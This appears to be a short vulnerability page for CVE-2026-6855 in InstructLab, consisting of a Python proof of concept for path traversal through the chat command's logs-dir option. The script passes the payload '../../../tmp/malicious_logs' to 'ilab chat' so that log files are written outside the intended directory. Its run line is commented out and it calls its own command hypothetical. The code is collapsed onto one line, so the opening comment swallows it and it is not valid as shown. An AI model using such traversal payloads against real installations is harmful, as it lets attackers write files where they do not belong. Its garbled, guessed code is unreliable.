CVE-2026-6855 InstructLab路径遍历漏洞

# PoC for CVE-2026-6855: Path Traversal via logs_dir # This script demonstrates how a malicious logs_dir parameter can be used. import subprocess import sys def exploit_poc(target_path): # The malicious payload uses path traversal to escape the intended directory # For example, writing to /tmp/malicious/ traversal_payload = "../../../tmp/malicious_logs" # Simulate the command that triggers the vulnerable chat session handler # InstructLab command line usage (hypothetical based on description) cmd = ["ilab", "chat", "--logs-dir", traversal_payload] try: print(f"[*] Attempting to exploit with payload: {traversal_payload}") # subprocess.run(cmd, check=True) # Uncomment to run actual exploit print("[+] If vulnerable, directories/files may be created at: /tmp/malicious_logs") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit_poc("/tmp/poc")